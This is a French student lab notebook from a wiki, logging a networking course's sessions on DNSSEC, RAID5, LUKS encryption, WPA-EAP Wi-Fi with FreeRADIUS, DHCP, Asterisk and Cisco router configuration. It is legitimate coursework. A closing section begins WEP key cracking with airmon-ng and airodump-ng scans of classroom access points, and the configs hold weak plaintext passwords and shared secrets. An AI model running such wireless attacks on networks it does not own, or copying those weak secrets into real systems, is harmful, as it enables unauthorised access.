<pre>root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.speedflash.space.signed</pre>
On ajoute le DNSSEC à Gandi : 
[[Fichier:Dns-gandi.png]] 
On vérifie que notre DNS est bien sécurisé en essayant la commande : 
<pre>root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY speedflash.space @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;speedflash.space. IN DNSKEY

;; ANSWER SECTION:
speedflash.space. 604800 IN DNSKEY 257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=
speedflash.space. 604800 IN DNSKEY 256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3</pre>
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé. 
====Travail réalisé la 7e séance====
=====Création du RAID5=====
On ajoute premièrement les partitions à la définition de la machine virtuelle: 
<pre>'phy:/dev/virtual/RedFlash,xvdb,w',
'phy:/dev/virtual/BlackFlash,xvdc,w',
'phy:/dev/virtual/ReverseFlash,xvdd,w'</pre>
Ensuite, on crée le RAID5 avec les 3 partitions : 
<pre>mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd</pre>
On vérifie en regardant le fichier de log /proc/mdstat : 
<pre>root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[=============>.......] recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===============>.....] recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[================>....] recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[=================>...] recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[==================>..] recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec

unused devices: <none>
root@Flash:~# [ 1462.872022] md: md0: recovery done.
cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]</pre>
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: 
<pre>root@Flash:~# mkfs /dev/md0
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 523776 4k blocks and 131072 inodes
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912

Allocating group tables: done
Writing inode tables: done
Writing superblocks and filesystem accounting information: done

root@Flash:~# mount /dev/md0 /mnt
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)
</pre>

=====Cryptage de données=====
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted. 
Ensuite, on commence le cryptage des données sur la carte SD: 
<pre>root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1

WARNING!
========
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.

Are you sure? (Type uppercase yes): YES
Saisissez la phrase secrète : ***************
Vérifiez la phrase secrète : ***************</pre>

Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ : 
<pre>root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home
Saisissez la phrase secrète pour /dev/mmcblk1p1 :
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home
mke2fs 1.42.12 (29-Aug-2014)
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879
Superblocs de secours stockés sur les blocs :
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocation des tables de groupe : complété
Écriture des tables d'i-noeuds : complété
Création du journal (32768 blocs) : complété
Écriture des superblocs et de l'information de comptabilité du système de
fichiers : complété</pre>
On monte la partition : 
<pre>root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/</pre>
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: 
<pre>
root@Rason:/# umount /mnt
root@Rason:/# cryptsetup luksClose home</pre>
====Travail réalisé la 8e séance====
=====Modification routeur pour prise en charge Wifi=====
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. 
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN. 
=====Sécurisation Wifi par WPA-EAP=====
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM. 
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : 
<pre> flash Cleartext-Password:="reverse"</pre>
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 : 
<pre> client E306 {
ipaddr = 10.60.1.2
secret = password
}</pre>
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : 
<pre>aaa authentication login eap_flash group radius_flash
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc
aaa group server radius radius_flash
server 193.48.57.165 auth-port 1812 acct-port 1813

dot11 ssid SSID_FLASH
vlan 6
authentication open eap eap_flash
authentication network-eap eap_flash
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 6 mode ciphers aes-ccm tkip
ssid SSID_FLASH

interface Dot11Radio0.6
encapsulation dot1Q 6
no ip route-cache
bridge-group 6
bridge-group 6 subscriber-loop-control
bridge-group 6 spanning-disabled
bridge-group 6 block-unknown-source
no bridge-group 6 source-learning
no bridge-group 6 unicast-flooding

interface GigabitEthernet0.6
encapsulation dot1Q 6
bridge-group 6
</pre>

Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN : 
<pre>auto wlan0
iface wlan0 inet static
address 10.60.6.6
netmask 255.255.255.0
gateway 10.60.6.1
wpa-ssid SSID_FLASH
wpa-key-mgmt WPA-EAP
wpa-identity flash
wpa-password reverse</pre>
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. 
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle . 
<pre>root@Flash:~# ping 10.60.6.6
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms</pre> 
====Travail réalisé la 9e séance====
=====Serveur DHCP=====
Nous avons installé le paquet '''isc-dhcp-server'''. 
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''': 
<pre>option domain-name "speedflash.space";
option domain-name-servers 193.48.57.165;

subnet 10.60.6.0 netmask 255.255.255.0 {
range 10.60.6.10 10.60.6.40;
option routers 10.60.6.1;
}
</pre>

Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''. 
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : 
[[Fichier:DHCP iphone.png || center || 350px]] 
et nous arrivons à la pinger depuis la machine virtuelle. 
<pre>root@Flash:~# ping 10.60.6.10
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms
</pre>

=====PCBX=====
Nous avons modifiés le fichier sip.conf : 
<pre>[general]
hasvoicemail=yes
hassip=yes
hasiax=yes
callwaiting=yes
threewaycalling=yes
callwaitingcallerid=yes
transfer=yes
canpark=yes
cancallforward=yes
callreturn=yes
callgroup=1
pickupgroup=1
nat=yes

[6001]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=ThomasStephane
username=trojSmaia
secret=secret
context=work

[6002]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=ThomasStephane
username=smaiaTroj
secret=secret2
context=work</pre>

Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX: 
<pre>[work]
exten=>_6XXX,1,Dial(SIP/${EXTEN},20)
exten => _6XXX,2,Hangup()</pre>
Nous n'avons pas encore testé cette solution.
====Travail réalisé lors de la 10e séance====
=====Configuration PCBX=====
Nous avons pu tester notre configuration PCBX. 
Nous avons installé CSipSimple sur 2 téléphones Android, et nous avons configurés les 2 comptes. 
[[Fichier:Enregistrement_SIP.jpg|center|300px]]
Puis, nous avons essayés de s'appeler, la connexion s'effectue et nous pouvons discuter : 
[[Fichier : Appel.jpg|center|300px]]
Et voici les logs d'Asterisk : 
[[Fichier:Logs_SIP.jpg|center|550px]]

Cahier 2016 groupe n°5

2016-12-14T09:57:40Z

Smaia : /* Configuration PCBX */

Fichier:Logs SIP.jpg

2016-12-14T09:57:15Z

Smaia :

Fichier:Appel.jpg

2016-12-14T09:55:58Z

Smaia :

Fichier:Enregistrement SIP.jpg

2016-12-14T09:55:37Z

Smaia :

Cahier 2016 groupe n°5

2016-12-14T09:54:56Z

Smaia : /* Travail réalisé la 9e séance */

Cahier 2016 groupe n°5

2016-12-14T09:51:34Z

Smaia : /* Répartition du travail */

== Cahier des charges ==
=== Présentation du travail ===

==== Répartition du travail ====

{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (03/10)
| Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau.
|-
! scope="row" | Séance 2 (10/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 3 (13/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 4 (24/10)
| Test de la configuration locale
|-
! scope="row" | Séance 5 (07/11)
| Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP
|-
! scope="row" | Séance 6 (17/11 - additionnel)
| Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM
|-
! scope="row" | Séance 7 (28/11)
| RAID5 - Cryptage de données
|-
! scope="row" | Séance 8 (additionnel - 7-8/12/2016)
| Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP
|-
! scope="row" | Séance 9 (12/12)
| Configuration DHCP - PCBX
|-
! scope="row" | Séance additionnelle (14/12/2016)
| Configuration PCBX
|-
|}

====Travail réalisé la 1ère séance ====

Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :
<pre>
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
</pre>
Ainsi, nous obtenons ce résultat:
<pre>
Installation Summary
---------------------
Hostname : Flash
Distribution : jessie
MAC Address : 00:16:3E:49:8F:E5
IP Address(es) : 193.48.57.165
RSA Fingerprint : 5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db
Root Password : N/A
</pre>

==== Travail réalisé la 2e et 3e séance (2 séances) ====
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). 
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser. 
=====Configuration générale=====
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''. 
Lors de sa première mise en route, nous devons effectuer sa configuration générale : 
<pre> hostname cisco config hostname
enable secret reverse </pre>
Puis ensuite, nous pouvons passer à la configuration des VALNs.
=====Configuration des VLANs =====
Nous avons 12 VLANs à configurer : 
<ul>
<li> 11 VLANs (2-11) : VLAN correspondant aux différents groupes.</li>
<li> 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs</li>
<li> 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école</li></ul>
Sur l'interface physique du 4331, il y a 3 interfaces:
<ul>
<li> Gi 0/0/0 : disponible en cuivre et en fibre</li>
<li> Gi 0/0/1: disponible en cuivre</li>
<li> Gi 0/0/2: disponible en fibre</li></ul>

Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain. 
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2''' 

Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir. 
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:
<pre> interface GigabitEthernet 0/0/0.X </pre>
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :
<pre> int gi 0/0/0
service instance <n°VLAN> ethernet </pre>
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0. 
Nous pouvons alors créer nous sous interfaces:
<pre> int gi0/0/0
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2

service instance 3 ethernet
encapsulation dot1q 3
bridge-domain 3
...</pre>
<pre> int gi0/0/1
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2
...</pre>
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain. 

=====Configuration des bridge-domain=====
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain: 
<pre> bridge irb </pre>
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées : 
<pre> bridge 2 protocol ieee
bridge 2 route ip</pre>
Enfin, nous pouvons allouer des IP aux différents bridge domain : 
<pre>int BDI2
ip address 10.60.2.1 255.255.255.0</pre>

Et nous répétons ces opérations pour tous les bridge-domain. 
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.

====Travail réalisé la 4e séance====
=====Test 1=====
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. 
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc. 
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''. 
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: 
<pre># PCI device 0x14e4:0x1657 (tg3)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:40", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth4"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:41", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth5"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:42", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth6"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:43", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth7"</pre>
 
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe. 
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk. 
'''Premier essai: FAIL''' 
=====Test 2=====
Et là, c'est le drame ... On ne ping rien ... 
On se demande donc d'où cela peut venir. 
======Première cause possible : La configuration de CORDOUAN======
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande: 
<pre>cdpr -d eth4
cdpr - Cisco Discovery Protocol Reporter
Version 2.4
Copyright (c) 2002-2010 - MonkeyMental.com

Using Device: eth4
Warning opening device (eth4: no IPv4 address assigned)
Waiting for CDP advertisement:
(default config is to transmit CDP packets every 60 seconds)
Device ID
value: Switch_E306
Addresses
Port ID
value: GigabitEthernet4/13</pre>
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13. 
======Deuxième cause possible: Le commutateur======
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).
======Dernière cause possible:Le routeur======
On se dit donc que le problème vient du routeur... 
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q. 
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance. 
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q. 
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:
<pre>rewrite ingress tag pop 1 symmetric</pre>
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.''' 
Résultat '''OK''' 
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle : 
<pre>ping 193.48.57.171
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms
^C
--- 193.48.57.171 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms</pre>
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.

====Travail réalisé la 5e séance====
=====Configuration IPv6=====
Nous avons donc pu commencer la configuration IPv6 de notre routeur. 
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64. 
La configuration est la suivante, pour chaque BDI: 
<pre>cisco(config)#int BDI6
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900
cisco(config-if)#ipv6 nd router-preference high
cisco(config-if)#ipv6 enable</pre>
=====Configuration OSPF (IPv4)=====
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici: 
<pre>router ospf 1
router-id 10.60.2.1
summary-address 10.60.0.0 255.255.0.0
summary-address 193.48.57.160 255.255.255.240
redistribute connected metric 30 subnets
network 192.168.222.0 0.0.0.7 area 1</pre>
=====Configuration RIP (IPv6)=====
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante: 
<pre>ipv6 router rip tpima5sc
redistribute connected metric 1
redistribute static metric 1
redistribute rip 1 metric 1</pre>
La prise en compte du protocole RIP dans la BDI130 est la suivante: 
<pre>interface BDI130
ip address 192.168.222.1 255.255.255.248
ipv6 address 2001:660:4401:60AA::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900
ipv6 nd router-preference High
ipv6 rip tpima5sc enable</pre>
Pour confirmer notre résultat, nous regardons la table de routage IPv6: 
<pre> cisco#sh ipv6 route
IPv6 Routing Table - default - 65 entries
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route
B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2
IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external
ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect
O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2
ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application
R ::/0 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:60::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6000::/56 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6002::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6003::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6004::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6005::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6006::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130</pre>
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée. 
=====Configuration VRRP=====
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs. 
Voici la configuration VRRP de notre routeur: 
<pre>interface BDI2
ip address 10.60.2.1 255.255.255.0
ipv6 address 2001:660:4401:60B0::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900
ipv6 nd router-preference High
vrrp 1 ip 10.60.2.3
vrrp 1 priority 110</pre>
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI. 
Nous pouvons voir si notre configuration VRRP est effective : 
<pre>cisco#sh vrrp
BDI12 - Group 1
State is Master
Virtual IP address is 193.48.57.173
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 193.48.57.171 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec

BDI2 - Group 1
State is Master
Virtual IP address is 10.60.2.3
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 10.60.2.1 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec
</pre>
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM. 

=====Craquage de clé WEP=====
On bascule d’abord la carte en mode monitor :
<pre> airmon-ng start xxxxxxxx </pre>
Ensuite on scan tous les réseaux wifi captés par cette même carte :
<pre> airodump-ng –encrypt wep wlan 0 </pre>
On obtient :
<pre>
CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:00 -44 2 0 0 11 54e. WEP WEP Wolverine
04:DA:D2:9C:50:53 -66 2 0 0 13 54e. WEP WEP cracotte04
04:DA:D2:9C:50:55 -70 2 91 35 13 54e. WEP WEP cracotte06
04:DA:D2:9C:50:51 -69 4 33 13 13 54e. WEP WEP cracotte02
04:DA:D2:9C:50:57 -67 3 44 19 13 54e. WEP WEP cracotte08
04:DA:D2:9C:50:56 -69 2 38 11 13 54e. WEP WEP cracotte07
04:DA:D2:9C:50:54 -68 2 37 14 13 54e. WEP WEP cracotte05
04:DA:D2:9C:50:58 -70 2 175 70 13 54e. WEP WEP cracotte09
04:DA:D2:9C:50:50 -68 0 142 52 13 -1 WEP WEP <length: 0>
04:DA:D2:9C:50:52 -70 2 171 64 13 54e. WEP WEP cracotte03

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 - 9e 1160 50
04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -62 0 -48e 34 7
04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -64 0 - 6e 31 6
04:DA:D2:9C:50:56 00:0F:B5:92:23:71 -66 0 -48e 60 6
04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -70 0 -24e 52 11
04:DA:D2:9C:50:58 00:0F:B5:92:23:69 -62 0 -48e 12 140
</pre>

